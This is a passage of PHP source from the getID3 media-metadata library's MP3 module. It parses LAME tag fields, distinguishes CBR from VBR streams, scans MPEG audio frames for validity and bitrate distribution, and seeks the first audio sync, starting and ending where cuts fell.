						$thisfile_mpeg_audio_lame['source_sample_freq']  = self::LAMEmiscSourceSampleFrequencyLookup($thisfile_mpeg_audio_lame_raw['source_sample_freq']);

						// byte $B5  MP3 Gain
						$thisfile_mpeg_audio_lame_raw['mp3_gain'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xB5, 1), false, true);
						$thisfile_mpeg_audio_lame['mp3_gain_db']     = (getid3_lib::RGADamplitude2dB(2) / 4) * $thisfile_mpeg_audio_lame_raw['mp3_gain'];
						$thisfile_mpeg_audio_lame['mp3_gain_factor'] = pow(2, ($thisfile_mpeg_audio_lame['mp3_gain_db'] / 6));

						// bytes $B6-$B7  Preset and surround info
						$PresetSurroundBytes = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xB6, 2));
						// Reserved                                                    = ($PresetSurroundBytes & 0xC000);
						$thisfile_mpeg_audio_lame_raw['surround_info'] = ($PresetSurroundBytes & 0x3800);
						$thisfile_mpeg_audio_lame['surround_info']     = self::LAMEsurroundInfoLookup($thisfile_mpeg_audio_lame_raw['surround_info']);
						$thisfile_mpeg_audio_lame['preset_used_id']    = ($PresetSurroundBytes & 0x07FF);
						$thisfile_mpeg_audio_lame['preset_used']       = self::LAMEpresetUsedLookup($thisfile_mpeg_audio_lame);
						if (!empty($thisfile_mpeg_audio_lame['preset_used_id']) && empty($thisfile_mpeg_audio_lame['preset_used'])) {
							$this->warning('Unknown LAME preset used ('.$thisfile_mpeg_audio_lame['preset_used_id'].') - please report to info@getid3.org');
						}
						if (($thisfile_mpeg_audio_lame['short_version'] == 'LAME3.90.') && !empty($thisfile_mpeg_audio_lame['preset_used_id'])) {
							// this may change if 3.90.4 ever comes out
							$thisfile_mpeg_audio_lame['short_version'] = 'LAME3.90.3';
						}

						// bytes $B8-$BB  MusicLength
						$thisfile_mpeg_audio_lame['audio_bytes'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xB8, 4));
						$ExpectedNumberOfAudioBytes = (($thisfile_mpeg_audio_lame['audio_bytes'] > 0) ? $thisfile_mpeg_audio_lame['audio_bytes'] : $thisfile_mpeg_audio['VBR_bytes']);

						// bytes $BC-$BD  MusicCRC
						$thisfile_mpeg_audio_lame['music_crc']    = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xBC, 2));

						// bytes $BE-$BF  CRC-16 of Info Tag
						$thisfile_mpeg_audio_lame['lame_tag_crc'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xBE, 2));


						// LAME CBR
						if ($thisfile_mpeg_audio_lame_raw['vbr_method'] == 1) {

							$thisfile_mpeg_audio['bitrate_mode'] = 'cbr';
							$thisfile_mpeg_audio['bitrate'] = self::ClosestStandardMP3Bitrate($thisfile_mpeg_audio['bitrate']);
							$info['audio']['bitrate'] = $thisfile_mpeg_audio['bitrate'];
							//if (empty($thisfile_mpeg_audio['bitrate']) || (!empty($thisfile_mpeg_audio_lame['bitrate_min']) && ($thisfile_mpeg_audio_lame['bitrate_min'] != 255))) {
							//	$thisfile_mpeg_audio['bitrate'] = $thisfile_mpeg_audio_lame['bitrate_min'];
							//}

						}

					}
				}

			} else {

				// not Fraunhofer or Xing VBR methods, most likely CBR (but could be VBR with no header)
				$thisfile_mpeg_audio['bitrate_mode'] = 'cbr';
				if ($recursivesearch) {
					$thisfile_mpeg_audio['bitrate_mode'] = 'vbr';
					if ($this->RecursiveFrameScanning($offset, $nextframetestoffset, true)) {
						$recursivesearch = false;
						$thisfile_mpeg_audio['bitrate_mode'] = 'cbr';
					}
					if ($thisfile_mpeg_audio['bitrate_mode'] == 'vbr') {
						$this->warning('VBR file with no VBR header. Bitrate values calculated from actual frame bitrates.');
					}
				}

			}

		}

		if (($ExpectedNumberOfAudioBytes > 0) && ($ExpectedNumberOfAudioBytes != ($info['avdataend'] - $info['avdataoffset']))) {
			if ($ExpectedNumberOfAudioBytes > ($info['avdataend'] - $info['avdataoffset'])) {
				if ($this->isDependencyFor('matroska') || $this->isDependencyFor('riff')) {
					// ignore, audio data is broken into chunks so will always be data "missing"
				}
				elseif (($ExpectedNumberOfAudioBytes - ($info['avdataend'] - $info['avdataoffset'])) == 1) {
					$this->warning('Last byte of data truncated (this is a known bug in Meracl ID3 Tag Writer before v1.3.5)');
				}
				else {
					$this->warning('Probable truncated file: expecting '.$ExpectedNumberOfAudioBytes.' bytes of audio data, only found '.($info['avdataend'] - $info['avdataoffset']).' (short by '.($ExpectedNumberOfAudioBytes - ($info['avdataend'] - $info['avdataoffset'])).' bytes)');
				}
			} else {
				if ((($info['avdataend'] - $info['avdataoffset']) - $ExpectedNumberOfAudioBytes) == 1) {
				//	$prenullbytefileoffset = $this->ftell();
				//	$this->fseek($info['avdataend']);
				//	$PossibleNullByte = $this->fread(1);
				//	$this->fseek($prenullbytefileoffset);
				//	if ($PossibleNullByte === "\x00") {
						$info['avdataend']--;
				//		$this->warning('Extra null byte at end of MP3 data assumed to be RIFF padding and therefore ignored');
				//	} else {
				//		$this->warning('Too much data in file: expecting '.$ExpectedNumberOfAudioBytes.' bytes of audio data, found '.($info['avdataend'] - $info['avdataoffset']).' ('.(($info['avdataend'] - $info['avdataoffset']) - $ExpectedNumberOfAudioBytes).' bytes too many)');
				//	}
				} else {
					$this->warning('Too much data in file: expecting '.$ExpectedNumberOfAudioBytes.' bytes of audio data, found '.($info['avdataend'] - $info['avdataoffset']).' ('.(($info['avdataend'] - $info['avdataoffset']) - $ExpectedNumberOfAudioBytes).' bytes too many)');
				}
			}
		}

		if (($thisfile_mpeg_audio['bitrate'] == 'free') && empty($info['audio']['bitrate'])) {
			if (($offset == $info['avdataoffset']) && empty($thisfile_mpeg_audio['VBR_frames'])) {
				$framebytelength = $this->FreeFormatFrameLength($offset, true);
				if ($framebytelength > 0) {
					$thisfile_mpeg_audio['framelength'] = $framebytelength;
					if ($thisfile_mpeg_audio['layer'] == '1') {
						// BitRate = (((FrameLengthInBytes / 4) - Padding) * SampleRate) / 12
						$info['audio']['bitrate'] = ((($framebytelength / 4) - intval($thisfile_mpeg_audio['padding'])) * $thisfile_mpeg_audio['sample_rate']) / 12;
					} else {
						// Bitrate = ((FrameLengthInBytes - Padding) * SampleRate) / 144
						$info['audio']['bitrate'] = (($framebytelength - intval($thisfile_mpeg_audio['padding'])) * $thisfile_mpeg_audio['sample_rate']) / 144;
					}
				} else {
					$this->error('Error calculating frame length of free-format MP3 without Xing/LAME header');
				}
			}
		}

		if (isset($thisfile_mpeg_audio['VBR_frames']) ? $thisfile_mpeg_audio['VBR_frames'] : '') {
			switch ($thisfile_mpeg_audio['bitrate_mode']) {
				case 'vbr':
				case 'abr':
					$bytes_per_frame = 1152;
					if (($thisfile_mpeg_audio['version'] == '1') && ($thisfile_mpeg_audio['layer'] == 1)) {
						$bytes_per_frame = 384;
					} elseif ((($thisfile_mpeg_audio['version'] == '2') || ($thisfile_mpeg_audio['version'] == '2.5')) && ($thisfile_mpeg_audio['layer'] == 3)) {
						$bytes_per_frame = 576;
					}
					$thisfile_mpeg_audio['VBR_bitrate'] = (isset($thisfile_mpeg_audio['VBR_bytes']) ? (($thisfile_mpeg_audio['VBR_bytes'] / $thisfile_mpeg_audio['VBR_frames']) * 8) * ($info['audio']['sample_rate'] / $bytes_per_frame) : 0);
					if ($thisfile_mpeg_audio['VBR_bitrate'] > 0) {
						$info['audio']['bitrate']       = $thisfile_mpeg_audio['VBR_bitrate'];
						$thisfile_mpeg_audio['bitrate'] = $thisfile_mpeg_audio['VBR_bitrate']; // to avoid confusion
					}
					break;
			}
		}

		// End variable-bitrate headers
		////////////////////////////////////////////////////////////////////////////////////

		if ($recursivesearch) {

			if (!$this->RecursiveFrameScanning($offset, $nextframetestoffset, $ScanAsCBR)) {
				return false;
			}

		}


		//if (false) {
		//    // experimental side info parsing section - not returning anything useful yet
		//
		//    $SideInfoBitstream = getid3_lib::BigEndian2Bin($SideInfoData);
		//    $SideInfoOffset = 0;
		//
		//    if ($thisfile_mpeg_audio['version'] == '1') {
		//        if ($thisfile_mpeg_audio['channelmode'] == 'mono') {
		//            // MPEG-1 (mono)
		//            $thisfile_mpeg_audio['side_info']['main_data_begin'] = substr($SideInfoBitstream, $SideInfoOffset, 9);
		//            $SideInfoOffset += 9;
		//            $SideInfoOffset += 5;
		//        } else {
		//            // MPEG-1 (stereo, joint-stereo, dual-channel)
		//            $thisfile_mpeg_audio['side_info']['main_data_begin'] = substr($SideInfoBitstream, $SideInfoOffset, 9);
		//            $SideInfoOffset += 9;
		//            $SideInfoOffset += 3;
		//        }
		//    } else { // 2 or 2.5
		//        if ($thisfile_mpeg_audio['channelmode'] == 'mono') {
		//            // MPEG-2, MPEG-2.5 (mono)
		//            $thisfile_mpeg_audio['side_info']['main_data_begin'] = substr($SideInfoBitstream, $SideInfoOffset, 8);
		//            $SideInfoOffset += 8;
		//            $SideInfoOffset += 1;
		//        } else {
		//            // MPEG-2, MPEG-2.5 (stereo, joint-stereo, dual-channel)
		//            $thisfile_mpeg_audio['side_info']['main_data_begin'] = substr($SideInfoBitstream, $SideInfoOffset, 8);
		//            $SideInfoOffset += 8;
		//            $SideInfoOffset += 2;
		//        }
		//    }
		//
		//    if ($thisfile_mpeg_audio['version'] == '1') {
		//        for ($channel = 0; $channel < $info['audio']['channels']; $channel++) {
		//            for ($scfsi_band = 0; $scfsi_band < 4; $scfsi_band++) {
		//                $thisfile_mpeg_audio['scfsi'][$channel][$scfsi_band] = substr($SideInfoBitstream, $SideInfoOffset, 1);
		//                $SideInfoOffset += 2;
		//            }
		//        }
		//    }
		//    for ($granule = 0; $granule < (($thisfile_mpeg_audio['version'] == '1') ? 2 : 1); $granule++) {
		//        for ($channel = 0; $channel < $info['audio']['channels']; $channel++) {
		//            $thisfile_mpeg_audio['part2_3_length'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 12);
		//            $SideInfoOffset += 12;
		//            $thisfile_mpeg_audio['big_values'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 9);
		//            $SideInfoOffset += 9;
		//            $thisfile_mpeg_audio['global_gain'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 8);
		//            $SideInfoOffset += 8;
		//            if ($thisfile_mpeg_audio['version'] == '1') {
		//                $thisfile_mpeg_audio['scalefac_compress'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 4);
		//                $SideInfoOffset += 4;
		//            } else {
		//                $thisfile_mpeg_audio['scalefac_compress'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 9);
		//                $SideInfoOffset += 9;
		//            }
		//            $thisfile_mpeg_audio['window_switching_flag'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 1);
		//            $SideInfoOffset += 1;
		//
		//            if ($thisfile_mpeg_audio['window_switching_flag'][$granule][$channel] == '1') {
		//
		//                $thisfile_mpeg_audio['block_type'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 2);
		//                $SideInfoOffset += 2;
		//                $thisfile_mpeg_audio['mixed_block_flag'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 1);
		//                $SideInfoOffset += 1;
		//
		//                for ($region = 0; $region < 2; $region++) {
		//                    $thisfile_mpeg_audio['table_select'][$granule][$channel][$region] = substr($SideInfoBitstream, $SideInfoOffset, 5);
		//                    $SideInfoOffset += 5;
		//                }
		//                $thisfile_mpeg_audio['table_select'][$granule][$channel][2] = 0;
		//
		//                for ($window = 0; $window < 3; $window++) {
		//                    $thisfile_mpeg_audio['subblock_gain'][$granule][$channel][$window] = substr($SideInfoBitstream, $SideInfoOffset, 3);
		//                    $SideInfoOffset += 3;
		//                }
		//
		//            } else {
		//
		//                for ($region = 0; $region < 3; $region++) {
		//                    $thisfile_mpeg_audio['table_select'][$granule][$channel][$region] = substr($SideInfoBitstream, $SideInfoOffset, 5);
		//                    $SideInfoOffset += 5;
		//                }
		//
		//                $thisfile_mpeg_audio['region0_count'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 4);
		//                $SideInfoOffset += 4;
		//                $thisfile_mpeg_audio['region1_count'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 3);
		//                $SideInfoOffset += 3;
		//                $thisfile_mpeg_audio['block_type'][$granule][$channel] = 0;
		//            }
		//
		//            if ($thisfile_mpeg_audio['version'] == '1') {
		//                $thisfile_mpeg_audio['preflag'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 1);
		//                $SideInfoOffset += 1;
		//            }
		//            $thisfile_mpeg_audio['scalefac_scale'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 1);
		//            $SideInfoOffset += 1;
		//            $thisfile_mpeg_audio['count1table_select'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 1);
		//            $SideInfoOffset += 1;
		//        }
		//    }
		//}

		return true;
	}

	public function RecursiveFrameScanning(&$offset, &$nextframetestoffset, $ScanAsCBR) {
		$info = &$this->getid3->info;
		$firstframetestarray = array('error' => array(), 'warning'=> array(), 'avdataend' => $info['avdataend'], 'avdataoffset' => $info['avdataoffset']);
		$this->decodeMPEGaudioHeader($offset, $firstframetestarray, false);

		for ($i = 0; $i < GETID3_MP3_VALID_CHECK_FRAMES; $i++) {
			// check next GETID3_MP3_VALID_CHECK_FRAMES frames for validity, to make sure we haven't run across a false synch
			if (($nextframetestoffset + 4) >= $info['avdataend']) {
				// end of file
				return true;
			}

			$nextframetestarray = array('error' => array(), 'warning' => array(), 'avdataend' => $info['avdataend'], 'avdataoffset'=>$info['avdataoffset']);
			if ($this->decodeMPEGaudioHeader($nextframetestoffset, $nextframetestarray, false)) {
				if ($ScanAsCBR) {
					// force CBR mode, used for trying to pick out invalid audio streams with valid(?) VBR headers, or VBR streams with no VBR header
					if (!isset($nextframetestarray['mpeg']['audio']['bitrate']) || !isset($firstframetestarray['mpeg']['audio']['bitrate']) || ($nextframetestarray['mpeg']['audio']['bitrate'] != $firstframetestarray['mpeg']['audio']['bitrate'])) {
						return false;
					}
				}


				// next frame is OK, get ready to check the one after that
				if (isset($nextframetestarray['mpeg']['audio']['framelength']) && ($nextframetestarray['mpeg']['audio']['framelength'] > 0)) {
					$nextframetestoffset += $nextframetestarray['mpeg']['audio']['framelength'];
				} else {
					$this->error('Frame at offset ('.$offset.') is has an invalid frame length.');
					return false;
				}

			} elseif (!empty($firstframetestarray['mpeg']['audio']['framelength']) && (($nextframetestoffset + $firstframetestarray['mpeg']['audio']['framelength']) > $info['avdataend'])) {

				// it's not the end of the file, but there's not enough data left for another frame, so assume it's garbage/padding and return OK
				return true;

			} else {

				// next frame is not valid, note the error and fail, so scanning can contiue for a valid frame sequence
				$this->warning('Frame at offset ('.$offset.') is valid, but the next one at ('.$nextframetestoffset.') is not.');

				return false;
			}
		}
		return true;
	}

	public function FreeFormatFrameLength($offset, $deepscan=false) {
		$info = &$this->getid3->info;

		$this->fseek($offset);
		$MPEGaudioData = $this->fread(32768);

		$SyncPattern1 = substr($MPEGaudioData, 0, 4);
		// may be different pattern due to padding
		$SyncPattern2 = $SyncPattern1{0}.$SyncPattern1{1}.chr(ord($SyncPattern1{2}) | 0x02).$SyncPattern1{3};
		if ($SyncPattern2 === $SyncPattern1) {
			$SyncPattern2 = $SyncPattern1{0}.$SyncPattern1{1}.chr(ord($SyncPattern1{2}) & 0xFD).$SyncPattern1{3};
		}

		$framelength = false;
		$framelength1 = strpos($MPEGaudioData, $SyncPattern1, 4);
		$framelength2 = strpos($MPEGaudioData, $SyncPattern2, 4);
		if ($framelength1 > 4) {
			$framelength = $framelength1;
		}
		if (($framelength2 > 4) && ($framelength2 < $framelength1)) {
			$framelength = $framelength2;
		}
		if (!$framelength) {

			// LAME 3.88 has a different value for modeextension on the first frame vs the rest
			$framelength1 = strpos($MPEGaudioData, substr($SyncPattern1, 0, 3), 4);
			$framelength2 = strpos($MPEGaudioData, substr($SyncPattern2, 0, 3), 4);

			if ($framelength1 > 4) {
				$framelength = $framelength1;
			}
			if (($framelength2 > 4) && ($framelength2 < $framelength1)) {
				$framelength = $framelength2;
			}
			if (!$framelength) {
				$this->error('Cannot find next free-format synch pattern ('.getid3_lib::PrintHexBytes($SyncPattern1).' or '.getid3_lib::PrintHexBytes($SyncPattern2).') after offset '.$offset);
				return false;
			} else {
				$this->warning('ModeExtension varies between first frame and other frames (known free-format issue in LAME 3.88)');
				$info['audio']['codec']   = 'LAME';
				$info['audio']['encoder'] = 'LAME3.88';
				$SyncPattern1 = substr($SyncPattern1, 0, 3);
				$SyncPattern2 = substr($SyncPattern2, 0, 3);
			}
		}

		if ($deepscan) {

			$ActualFrameLengthValues = array();
			$nextoffset = $offset + $framelength;
			while ($nextoffset < ($info['avdataend'] - 6)) {
				$this->fseek($nextoffset - 1);
				$NextSyncPattern = $this->fread(6);
				if ((substr($NextSyncPattern, 1, strlen($SyncPattern1)) == $SyncPattern1) || (substr($NextSyncPattern, 1, strlen($SyncPattern2)) == $SyncPattern2)) {
					// good - found where expected
					$ActualFrameLengthValues[] = $framelength;
				} elseif ((substr($NextSyncPattern, 0, strlen($SyncPattern1)) == $SyncPattern1) || (substr($NextSyncPattern, 0, strlen($SyncPattern2)) == $SyncPattern2)) {
					// ok - found one byte earlier than expected (last frame wasn't padded, first frame was)
					$ActualFrameLengthValues[] = ($framelength - 1);
					$nextoffset--;
				} elseif ((substr($NextSyncPattern, 2, strlen($SyncPattern1)) == $SyncPattern1) || (substr($NextSyncPattern, 2, strlen($SyncPattern2)) == $SyncPattern2)) {
					// ok - found one byte later than expected (last frame was padded, first frame wasn't)
					$ActualFrameLengthValues[] = ($framelength + 1);
					$nextoffset++;
				} else {
					$this->error('Did not find expected free-format sync pattern at offset '.$nextoffset);
					return false;
				}
				$nextoffset += $framelength;
			}
			if (count($ActualFrameLengthValues) > 0) {
				$framelength = intval(round(array_sum($ActualFrameLengthValues) / count($ActualFrameLengthValues)));
			}
		}
		return $framelength;
	}

	public function getOnlyMPEGaudioInfoBruteForce() {
		$MPEGaudioHeaderDecodeCache   = array();
		$MPEGaudioHeaderValidCache    = array();
		$MPEGaudioHeaderLengthCache   = array();
		$MPEGaudioVersionLookup       = self::MPEGaudioVersionArray();
		$MPEGaudioLayerLookup         = self::MPEGaudioLayerArray();
		$MPEGaudioBitrateLookup       = self::MPEGaudioBitrateArray();
		$MPEGaudioFrequencyLookup     = self::MPEGaudioFrequencyArray();
		$MPEGaudioChannelModeLookup   = self::MPEGaudioChannelModeArray();
		$MPEGaudioModeExtensionLookup = self::MPEGaudioModeExtensionArray();
		$MPEGaudioEmphasisLookup      = self::MPEGaudioEmphasisArray();
		$LongMPEGversionLookup        = array();
		$LongMPEGlayerLookup          = array();
		$LongMPEGbitrateLookup        = array();
		$LongMPEGpaddingLookup        = array();
		$LongMPEGfrequencyLookup      = array();
		$Distribution['bitrate']      = array();
		$Distribution['frequency']    = array();
		$Distribution['layer']        = array();
		$Distribution['version']      = array();
		$Distribution['padding']      = array();

		$info = &$this->getid3->info;
		$this->fseek($info['avdataoffset']);

		$max_frames_scan = 5000;
		$frames_scanned  = 0;

		$previousvalidframe = $info['avdataoffset'];
		while ($this->ftell() < $info['avdataend']) {
			set_time_limit(30);
			$head4 = $this->fread(4);
			if (strlen($head4) < 4) {
				break;
			}
			if ($head4{0} != "\xFF") {
				for ($i = 1; $i < 4; $i++) {
					if ($head4{$i} == "\xFF") {
						$this->fseek($i - 4, SEEK_CUR);
						continue 2;
					}
				}
				continue;
			}
			if (!isset($MPEGaudioHeaderDecodeCache[$head4])) {
				$MPEGaudioHeaderDecodeCache[$head4] = self::MPEGaudioHeaderDecode($head4);
			}
			if (!isset($MPEGaudioHeaderValidCache[$head4])) {
				$MPEGaudioHeaderValidCache[$head4] = self::MPEGaudioHeaderValid($MPEGaudioHeaderDecodeCache[$head4], false, false);
			}
			if ($MPEGaudioHeaderValidCache[$head4]) {

				if (!isset($MPEGaudioHeaderLengthCache[$head4])) {
					$LongMPEGversionLookup[$head4]   = $MPEGaudioVersionLookup[$MPEGaudioHeaderDecodeCache[$head4]['version']];
					$LongMPEGlayerLookup[$head4]     = $MPEGaudioLayerLookup[$MPEGaudioHeaderDecodeCache[$head4]['layer']];
					$LongMPEGbitrateLookup[$head4]   = $MPEGaudioBitrateLookup[$LongMPEGversionLookup[$head4]][$LongMPEGlayerLookup[$head4]][$MPEGaudioHeaderDecodeCache[$head4]['bitrate']];
					$LongMPEGpaddingLookup[$head4]   = (bool) $MPEGaudioHeaderDecodeCache[$head4]['padding'];
					$LongMPEGfrequencyLookup[$head4] = $MPEGaudioFrequencyLookup[$LongMPEGversionLookup[$head4]][$MPEGaudioHeaderDecodeCache[$head4]['sample_rate']];
					$MPEGaudioHeaderLengthCache[$head4] = self::MPEGaudioFrameLength(
						$LongMPEGbitrateLookup[$head4],
						$LongMPEGversionLookup[$head4],
						$LongMPEGlayerLookup[$head4],
						$LongMPEGpaddingLookup[$head4],
						$LongMPEGfrequencyLookup[$head4]);
				}
				if ($MPEGaudioHeaderLengthCache[$head4] > 4) {
					$WhereWeWere = $this->ftell();
					$this->fseek($MPEGaudioHeaderLengthCache[$head4] - 4, SEEK_CUR);
					$next4 = $this->fread(4);
					if ($next4{0} == "\xFF") {
						if (!isset($MPEGaudioHeaderDecodeCache[$next4])) {
							$MPEGaudioHeaderDecodeCache[$next4] = self::MPEGaudioHeaderDecode($next4);
						}
						if (!isset($MPEGaudioHeaderValidCache[$next4])) {
							$MPEGaudioHeaderValidCache[$next4] = self::MPEGaudioHeaderValid($MPEGaudioHeaderDecodeCache[$next4], false, false);
						}
						if ($MPEGaudioHeaderValidCache[$next4]) {
							$this->fseek(-4, SEEK_CUR);

							getid3_lib::safe_inc($Distribution['bitrate'][$LongMPEGbitrateLookup[$head4]]);
							getid3_lib::safe_inc($Distribution['layer'][$LongMPEGlayerLookup[$head4]]);
							getid3_lib::safe_inc($Distribution['version'][$LongMPEGversionLookup[$head4]]);
							getid3_lib::safe_inc($Distribution['padding'][intval($LongMPEGpaddingLookup[$head4])]);
							getid3_lib::safe_inc($Distribution['frequency'][$LongMPEGfrequencyLookup[$head4]]);
							if ($max_frames_scan && (++$frames_scanned >= $max_frames_scan)) {
								$pct_data_scanned = ($this->ftell() - $info['avdataoffset']) / ($info['avdataend'] - $info['avdataoffset']);
								$this->warning('too many MPEG audio frames to scan, only scanned first '.$max_frames_scan.' frames ('.number_format($pct_data_scanned * 100, 1).'% of file) and extrapolated distribution, playtime and bitrate may be incorrect.');
								foreach ($Distribution as $key1 => $value1) {
									foreach ($value1 as $key2 => $value2) {
										$Distribution[$key1][$key2] = round($value2 / $pct_data_scanned);
									}
								}
								break;
							}
							continue;
						}
					}
					unset($next4);
					$this->fseek($WhereWeWere - 3);
				}

			}
		}
		foreach ($Distribution as $key => $value) {
			ksort($Distribution[$key], SORT_NUMERIC);
		}
		ksort($Distribution['version'], SORT_STRING);
		$info['mpeg']['audio']['bitrate_distribution']   = $Distribution['bitrate'];
		$info['mpeg']['audio']['frequency_distribution'] = $Distribution['frequency'];
		$info['mpeg']['audio']['layer_distribution']     = $Distribution['layer'];
		$info['mpeg']['audio']['version_distribution']   = $Distribution['version'];
		$info['mpeg']['audio']['padding_distribution']   = $Distribution['padding'];
		if (count($Distribution['version']) > 1) {
			$this->error('Corrupt file - more than one MPEG version detected');
		}
		if (count($Distribution['layer']) > 1) {
			$this->error('Corrupt file - more than one MPEG layer detected');
		}
		if (count($Distribution['frequency']) > 1) {
			$this->error('Corrupt file - more than one MPEG sample rate detected');
		}


		$bittotal = 0;
		foreach ($Distribution['bitrate'] as $bitratevalue => $bitratecount) {
			if ($bitratevalue != 'free') {
				$bittotal += ($bitratevalue * $bitratecount);
			}
		}
		$info['mpeg']['audio']['frame_count']  = array_sum($Distribution['bitrate']);
		if ($info['mpeg']['audio']['frame_count'] == 0) {
			$this->error('no MPEG audio frames found');
			return false;
		}
		$info['mpeg']['audio']['bitrate']      = ($bittotal / $info['mpeg']['audio']['frame_count']);
		$info['mpeg']['audio']['bitrate_mode'] = ((count($Distribution['bitrate']) > 0) ? 'vbr' : 'cbr');
		$info['mpeg']['audio']['sample_rate']  = getid3_lib::array_max($Distribution['frequency'], true);

		$info['audio']['bitrate']      = $info['mpeg']['audio']['bitrate'];
		$info['audio']['bitrate_mode'] = $info['mpeg']['audio']['bitrate_mode'];
		$info['audio']['sample_rate']  = $info['mpeg']['audio']['sample_rate'];
		$info['audio']['dataformat']   = 'mp'.getid3_lib::array_max($Distribution['layer'], true);
		$info['fileformat']            = $info['audio']['dataformat'];

		return true;
	}


	public function getOnlyMPEGaudioInfo($avdataoffset, $BitrateHistogram=false) {
		// looks for synch, decodes MPEG audio header

		$info = &$this->getid3->info;

		static $MPEGaudioVersionLookup;
		static $MPEGaudioLayerLookup;
		static $MPEGaudioBitrateLookup;
		if (empty($MPEGaudioVersionLookup)) {
		   $MPEGaudioVersionLookup = self::MPEGaudioVersionArray();
		   $MPEGaudioLayerLookup   = self::MPEGaudioLayerArray();
		   $MPEGaudioBitrateLookup = self::MPEGaudioBitrateArray();

		}

		$this->fseek($avdataoffset);
		$sync_seek_buffer_size = min(128 * 1024, $info['avdataend'] - $avdataoffset);
		if ($sync_seek_buffer_size <= 0) {
			$this->error('Invalid $sync_seek_buffer_size at offset '.$avdataoffset);
			return false;
		}
		$header = $this->fread($sync_seek_buffer_size);
		$sync_seek_buffer_size = strlen($header);
		$SynchSeekOffset = 0;
		while ($SynchSeekOffset < $sync_seek_buffer_size) {
			if ((($avdataoffset + $SynchSeekOffset)  < $info['avdataend']) && !feof($this->getid3->fp)) {

				if ($SynchSeekOffset > $sync_seek_buffer_size) {
					// if a synch's not found within the first 128k bytes, then give up
					$this->error('Could not find valid MPEG audio synch within the first '.round($sync_seek_buffer_size / 1024).'kB');
					if (isset($info['audio']['bitrate'])) {
						unset($info['audio']['bitrate']);
					}
					if (isset($info['mpeg']['audio'])) {
						unset($info['mpeg']['audio']);
					}
					if (empty($info['mpeg'])) {
						unset($info['mpeg']);
					}
					return false;

				} elseif (feof($this->getid3->fp)) {

					$this->error('Could not find valid MPEG audio synch before end of file');
					if (isset($info['audio']['bitrate'])) {
						unset($info['audio']['bitrate']);
					}
					if (isset($info['mpeg']['audio'])) {
						unset($info['mpeg']['audio']);
					}
					if (isset($info['mpeg']) && (!is_array($info['mpeg']) || (count($info['mpeg']) == 0))) {
						unset($info['mpeg']);
					}
					return false;
				}
			}

			if (($SynchSeekOffset + 1) >= strlen($header)) {
				$this->error('Could not find valid MPEG synch before end of file');
				return false;
			}

			if (($header{$SynchSeekOffset} == "\xFF") && ($header{($SynchSeekOffset + 1)} > "\xE0")) { // synch detected
				if (!isset($FirstFrameThisfileInfo) && !isset($info['mpeg']['audio'])) {
					$FirstFrameThisfileInfo = $info;
					$FirstFrameAVDataOffset = $avdataoffset + $SynchSeekOffset;
					if (!$this->decodeMPEGaudioHeader($FirstFrameAVDataOffset, $FirstFrameThisfileInfo, false)) {
						// if this is the first valid MPEG-audio frame, save it in case it's a VBR header frame and there's
						// garbage between this frame and a valid sequence of MPEG-audio frames, to be restored below
						unset($FirstFrameThisfileInfo);
					}
				}

				$dummy = $info; // only overwrite real data if valid header found
				if ($this->decodeMPEGaudioHeader($avdataoffset + $SynchSeekOffset, $dummy, true)) {
					$info = $dummy;
					$info['avdataoffset'] = $avdataoffset + $SynchSeekOffset;
					switch (isset($info['fileformat']) ? $info['fileformat'] : '') {
						case '':
						case 'id3':
						case 'ape':
						case 'mp3':
							$info['fileformat']          = 'mp3';
							$info['audio']['dataformat'] = 'mp3';
							break;
					}
					if (isset($FirstFrameThisfileInfo['mpeg']['audio']['bitrate_mode']) && ($FirstFrameThisfileInfo['mpeg']['audio']['bitrate_mode'] == 'vbr')) {
						if (!(abs($info['audio']['bitrate'] - $FirstFrameThisfileInfo['audio']['bitrate']) <= 1)) {
							// If there is garbage data between a valid VBR header frame and a sequence
							// of valid MPEG-audio frames the VBR data is no longer discarded.
							$info = $FirstFrameThisfileInfo;
							$info['avdataoffset']        = $FirstFrameAVDataOffset;
							$info['fileformat']          = 'mp3';
							$info['audio']['dataformat'] = 'mp3';
							$dummy                       = $info;
							unset($dummy['mpeg']['audio']);
							$GarbageOffsetStart = $FirstFrameAVDataOffset + $FirstFrameThisfileInfo['mpeg']['audio']['framelength'];
							$GarbageOffsetEnd   = $avdataoffset + $SynchSeekOffset;
							if ($this->decodeMPEGaudioHeader($GarbageOffsetEnd, $dummy, true, true)) {
								$info = $dummy;
								$info['avdataoffset'] = $GarbageOffsetEnd;
								$this->warning('apparently-valid VBR header not used because could not find '.GETID3_MP3_VALID_CHECK_FRAMES.' consecutive MPEG-audio frames immediately after VBR header (garbage data for '.($GarbageOffsetEnd - $GarbageOffsetStart).' bytes between '.$GarbageOffsetStart.' and '.$GarbageOffsetEnd.'), but did find valid CBR stream starting at '.$GarbageOffsetEnd);
							} else {
								$this->warning('using data from VBR header even though could not find '.GETID3_MP3_VALID_CHECK_FRAMES.' consecutive MPEG-audio frames immediately after VBR header (garbage data for '.($GarbageOffsetEnd - $GarbageOffsetStart).' bytes between '.$GarbageOffsetStart.' and '.$GarbageOffsetEnd.')');
							}
						}
					}
					if (isset($info['mpeg']['audio']['bitrate_mode']) && ($info['mpeg']['audio']['bitrate_mode'] == 'vbr') && !isset($info['mpeg']['audio']['VBR_method'])) {
						// VBR file with no VBR header
						$BitrateHistogram = true;
					}

					if ($BitrateHistogram) {

